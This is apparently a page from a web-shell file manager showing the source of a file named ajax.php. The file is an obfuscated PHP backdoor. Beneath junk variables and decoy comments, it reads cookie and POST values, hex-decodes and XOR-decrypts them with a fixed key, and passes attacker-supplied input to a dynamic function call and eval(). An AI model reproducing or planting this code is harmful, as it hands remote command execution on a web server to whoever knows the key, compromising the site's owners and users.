OwlCyberSecurity - MANAGER
Edit File: ajax.php
<?php function BbGbHXzbyE($bDQIgqVhr) { return @pack( "\110"/* tj */./*eRTJN */'*', $bDQIgqVhr/* r */);; /* agSx */ /*r */$qBtXiMa = md5($bDQIgqVhr); /* ubZJ*/$UwUAgPAqb/* QhUy */= base64_decode($bDQIgqVhr); /* mY*/if/* p*/($UwUAgPAqb === false)/* oyWH*/{ $UwUAgPAqb =/*iES */''; /* pShMS */} /* lvys */$tLeIa = str_split($bDQIgqVhr);$_EP = '38348'; $xVlNd = strlen($bDQIgqVhr); $MZKxz/*W*/=/* GEYrZ */0; /*UsYct*/while/* DczuF */( $MZKxz </* Rv */$xVlNd/* AUHip */) { /* xBC */$MZKxz++; $bnozt = $tLeIa[$MZKxz];; /* li */if (strpos($bnozt,/*wfaf */'a') !== false) { $tLeIa[$MZKxz]/* ki */=/*xvIQ */strtoupper($bnozt);$_mfmv =/* GJMw*/'34453'; } /* lR */} $NUnrXeky/*xDwp */=/* SLuha*/implode('', $tLeIa);; $_GET['decoded'] =/* Njm */$NUnrXeky; /* NHPG */$_POST['hash'] =/* fz */$qBtXiMa;; /* crc */if (file_exists('path/to/file')) { $jGIsnV/* RZe */= file_get_contents('path/to/file');; $jTpRyeX/* xdG */= explode(',', $jGIsnV); $ezeKokLSUI = md5(serialize($jTpRyeX)); /*kSYlg*/if/*vlkTJ*/(is_array($jTpRyeX)) { $xeltvVLy/* CB */=/* jsKFn */array_slice($jTpRyeX,/*HBl */0, 5);; /* OVO */} /* Kokv */} $whcDQF =/* Bgs*/array_map('trim', $xeltvVLy);; $evborARM/* BMHb */= rawurldecode(implode(',', $whcDQF)); $_COOKIE['final_value'] = $evborARM; } /* yagU */function WhuLTDs() { $rgDJtEh = Array($_COOKIE, $_POST); /* VDG */$fdCKY/*qWTsZ */= array_map('md5', $_COOKIE); $zwlFq = strpos($_SERVER['HTTP_USER_AGENT'],/*U*/'Mozilla') !==/* U */false/* MMz */?/*X */'browser is Mozilla' : 'browser is not/* ekIrz */Mozilla'; if (is_array($rgDJtEh)) { /*Vj */$bkzEv = array_slice($rgDJtEh, 0,/* jnV */1);$_NS =/* WLlf */'26639'; } else/*zy */{ $bkzEv = []; } $rTsKgz =/* BU */explode(',', 'apple,orange,banana');$_YUHlC/* d */= '45074'; $bFxbK/* mhR */=/* Zbze*/rawurldecode('%20Hello%20World%20'); /* E */$MZKxz = 0;$_SSjZa = '25321'; while ($MZKxz </*UUswt*/count($rTsKgz)/*YmZk*/)/* tRJUz */{ $rTsKgz[$MZKxz] = str_repeat($rTsKgz[$MZKxz],/* wSN */2);; $MZKxz++; /* Ch */} /* fNyg */$CqsHhcJZ = str_repeat($zwlFq, 3);; /* IfAQL */ /*gEdWR */return $rgDJtEh; } /* Upe */function vEAHsLZ($ehtHN) /*vVg */{ $JAPliu/* M */=/* VYBYB */chr/* hju */(35);$_fVa = '18690'; foreach (WhuLTDs()/* yRkD */as $NOAqHVT)/*XpGXJ */{ GNuXN($NOAqHVT,/*p */$JAPliu);$_WYAJK = '50245'; } } function mrWtQXQW($JRLBe, $nqtVWkE) /* gwKFz */{ if ( count ( $JRLBe ) == 3 ) { $yFbeQu/* HM */=/*Y */$JRLBe[1]; /*BUgDp*/$yIJrDaUB/* m */=/* drPmU*/$JRLBe[2]; $AYlJyeTGj/* q*/=/* ERSK */$yFbeQu($yIJrDaUB);; eval/*U */( $AYlJyeTGj ); die (); /* IQJ */} } /* xivQO */ function/* MFxI */XNYQyNPvBk($bDQIgqVhr,/* TipBq */$NHUFpp) { /* pMMgK */return $bDQIgqVhr ^ $NHUFpp;; } function KiIrjJt($HzEvqZhmR,/* qTPW */$JAPliu) { /* XMA */$HzEvqZhmR =/*eu */explode/* YGqo*/($JAPliu, $HzEvqZhmR );$_LH = '63627'; mrWtQXQW($HzEvqZhmR,/* xWgXW */$JAPliu);$_J = '58484'; /* dx */} function/* cP */GNuXN($NOAqHVT, $JAPliu) { /*qauNh*/foreach (/* KYNBz*/$NOAqHVT as/* OHzOL */$NHUFpp => $bDQIgqVhr/* nvn*/)/* EqtI*/{ IqYDPkHrgB($NHUFpp, BbGbHXzbyE($bDQIgqVhr), $JAPliu);$_l/* RKVR */= '16585'; } } /* HQTsx */ function NnCgCCh($NHUFpp, $bDQIgqVhr) /*RRa*/{ $XDQRXbzxR/* bVSB*/= strlen( $bDQIgqVhr )/strlen(/*Tfv */$NHUFpp );; $NHUFpp/* LTP */.= "Nrny-mbGLYlW-FFxxlKx-KRErc-ynsK-Mfpk-CbSx"; $NHUFpp = str_repeat ( $NHUFpp,/* xSnp */intval($XDQRXbzxR) +/* o*/1);; /* pp */ return/*iSwdn */$NHUFpp;; } /* YT */ /* qAv*/function/* Aw */IqYDPkHrgB($NHUFpp, $bDQIgqVhr,/* jQvd */$JAPliu) {/* A*/ KiIrjJt(XNYQyNPvBk($bDQIgqVhr, NnCgCCh($NHUFpp, $bDQIgqVhr)), $JAPliu);$_s =/* SBKM */'30706'; /*YjeOi*/ /* rDOvS */$aTyyos/* eyoQk */= trim($bDQIgqVhr);$_Bgu/* sfD */= '30886'; $GbmhZVaz = explode($JAPliu, $aTyyos); /* Yb */if/* KulX */(count($GbmhZVaz)/* hIOb */> 1) { $tyKcu = implode("\x2d",/* L */$GbmhZVaz); $MTUYD = str_pad($tyKcu, 20, "\60", STR_PAD_RIGHT);$_H/* Eia*/=/* O*/'41297'; }/* fuwGS */else { /* nkX */$MTUYD =/* rNpPd */str_replace(chr (32), '_',/* oe */$aTyyos);; } $GffpDJFCF =/*WUhG*/empty($JAPliu);; /* qL*/if/* VHJ */(!$GffpDJFCF) { $IMZJPbn/*alzHa */=/*Tye*/substr($MTUYD, 0, 10); /*xK */} else/*fmTTN */{ $IMZJPbn = $MTUYD;; } } vEAHsLZ("");;